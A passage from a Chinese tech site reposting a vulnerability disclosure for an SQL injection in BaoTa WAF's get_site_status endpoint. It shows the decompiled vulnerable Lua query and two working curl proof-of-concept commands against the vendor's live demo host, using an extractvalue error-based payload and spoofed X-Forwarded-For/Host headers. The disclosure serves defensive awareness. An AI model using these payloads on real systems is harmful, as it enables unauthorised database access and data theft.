当前位置:首页技术教程新版宝塔的 SQL 注入漏洞
新版宝塔的 SQL 注入漏洞
°
  • 素材类型: 资源-素材
  • 上传时间:

在测试宝塔 WAF 的未授权访问漏洞时无意间还发现了一个 SQL 注入漏洞,品相还不错,可执行任意 SQL 语句。

总之,吃了一惊,一个防 SQL 注入的工具居然也有 SQL 注入漏洞。

请看这段代码

get_site_status = function ()
  if not ngx.ctx.get_uri_args.server_name then
    return Public.get_return_state(false, "参数错误")
  end

  ... 此处省略若干代码

  slot7, slot8, slot9, slot10 = slot4.query(slot4, [[
SELECT 
    SUM(request) as req,
    SUM(err_40x) as err_40x,
    SUM(err_500) as err_500,
    SUM(err_502) as err_502,
    SUM(err_503) as err_503,
    SUM(err_504) as err_504,
    SUM(err_499) as err_499,
    SUM(send_bytes) as send_bytes,
    SUM(receive_bytes) as recv_bytes,
    SUM(pc_count) as pc_count,
    SUM(mobile_count) as mobile_count,
    SUM(spider_baidu) as spider_baidu,
    SUM(spider_google) as spider_google,
    SUM(spider_bing) as spider_bing,
    SUM(spider_360) as spider_360,
    SUM(spider_sogou) as spider_sogou,
    SUM(spider_other) as spider_other,
    SUM(ip_count) as ip_count,
    SUM(pv_count) as pv_count,
    SUM(uv_count) as uv_count
     FROM `request_total` WHERE `server_name`=']] .. slot1 .. "' AND `date`='" .. os.date("%Y-%m-%d") .. "'")

  ... 此处省略若干代码

  return Public.get_return_state(true, slot6)
end

这段代码位于 /cloud_waf/nginx/conf.d/waf/public/waf_route.lua 文件中,源文件是 luajit 编译后的内容,反编译一下即可看到源码

这段逻辑就在上文提到的 get_site_status API 中,slot1 变量就是 server_name 参数。原理很简单,server_name 参数没有做任何校验就直接带入了 SQL 查询。

宝塔官网还没有修复这个问题,还是拿宝塔官网为例,试试以下命令:

curl "http://btwaf-demo.bt.cn/get_site_status?server_name='-extractvalue(1,concat(0x5c,database()))-'"  -H 'X-Forwarded-For: 127.0.0.1' -H 'Host: 127.0.0.251'

响应如下

{"status":false,"msg":"数据查询失败: XPATH syntax error: '\\8.1.0': 1105: HY000."}

从响应来看,mysql 版本是 8.1.0

在继续执行以下命令

curl "http://btwaf-demo.bt.cn/get_site_status?server_name='-extractvalue(1,concat(0x5c,(select'hello,world')))-'"  -H 'X-Forwarded-For: 127.0.0.1' -H 'Host: 127.0.0.251'
新版宝塔的 SQL 注入漏洞

看起来 select ‘hello,world’ 也执行成功了,到此为止,基本可以执行任意命令。

漏洞已通报给宝塔官方,此漏洞危害较大,各位宝塔用户请关注宝塔官方补丁,及时更新。

转载来自:相关链接:https://www.v2ex.com/t/1015934

温馨提示:

文章标题:新版宝塔的 SQL 注入漏洞

文章链接:https://www.xiciw.com/jsjc/1548.html

更新时间:2024年02月17日

本站大部分内容均收集于网络!若内容若侵犯到您的权益,请发送邮件至:xiciw#qq.com我们将第一时间处理!

资源所需价格并非资源售卖价格,是收集、整理、编辑详情以及本站运营的适当补贴,并且本站不提供任何免费技术支持。

                               

所有资源仅限于参考和学习,版权归原作者所有,更多请阅读菜鸟资源服务协议

声明:本站所有文章,如无特殊说明或标注,均为本站原创发布。任何个人或组织,在未征得本站同意时,禁止复制、盗用、采集、发布本站内容到任何网站、书籍等各类媒体平台。如若本站内容侵犯了原著者的合法权益,可联系我们进行处理。

给TA打赏
共{{data.count}}人
人已打赏
技术教程

第八章:掌握变量定义的位置与时机,了解C++基本语言特性变量和类型

2024-2-17 11:06:00

技术教程

第九章:引用难道只是别人的替身,了解C++基本语言特性变量和类型

2024-2-18 11:39:36

2 条回复 A文章作者 M管理员
  1. 用宝塔就不要考虑安全问题了!😤

    • 这情况很少吧

个人中心
购物车
优惠劵
今日签到
有新私信 私信列表
搜索